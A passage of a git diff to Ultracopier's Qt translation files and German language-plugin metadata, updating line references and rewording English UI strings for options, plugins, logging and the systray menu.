@@ -531,257 +673,318 @@ This version is compiled as version: %1.</source>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation type="unfinished"></translation>
</message>
<message>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="312"/>
+ <source>Name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="317"/>
+ <source>Version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="327"/>
+ <source>Language</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="71"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
+ <source>Listener</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
+ <source>Session loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
+ <source>Force the language</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
+ <source>Replace the default copy and move system</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
+ <source>Load at the session loading</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
+ <source>When manual open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
- <source>Name</source>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
- <source>Version</source>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
- <source>Language</source>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
- <source>Listener</source>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
- <source>Plugin loader</source>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
- <source>Session loader</source>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
<source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
+ <location filename="../../../OptionDialog.ui" line="697"/>
<source>Write the log file into:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
- <source>Write the transfers:</source>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
- <source>Write the errors:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
- <source>Write the folder operations:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
- <source>Disabled because you have any SessionLoader plugin</source>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
- <source>Synchronized log</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="169"/>
- <source>When manual open:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
- <source>Group the windows when:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="731"/>
+ <source>Synchronized log</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
<source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -823,37 +1026,42 @@ This version is compiled as version: %1.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation type="unfinished"></translation>
</message>
@@ -871,140 +1079,140 @@ This version is compiled as version: %1.</source>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
- <source>informations.xml not found into the plugin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
- <source>English text missing into the informations.xml for the tag: %1</source>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
<translation type="unfinished"></translation>
</message>
@@ -1012,44 +1220,44 @@ since:%2</source>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation type="unfinished"></translation>
</message>
@@ -1057,85 +1265,117 @@ since:%2</source>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/Languages/de/flag.png b/plugins/Languages/de/flag.png
index 7707c43..a096a1c 100644
--- a/plugins/Languages/de/flag.png
+++ b/plugins/Languages/de/flag.png
Binary files differ
diff --git a/plugins/Languages/de/informations.xml b/plugins/Languages/de/informations.xml
index 92bc082..ff73225 100644
--- a/plugins/Languages/de/informations.xml
+++ b/plugins/Languages/de/informations.xml
@@ -10,14 +10,13 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to german. Done for version 0.3.0.0. For more details see the web site.]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to german. For more details see the web site.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>de</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- =ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/de/translation.ts b/plugins/Languages/de/translation.ts
index 1a00c52..eeee697 100644
--- a/plugins/Languages/de/translation.ts
+++ b/plugins/Languages/de/translation.ts
@@ -4,77 +4,84 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
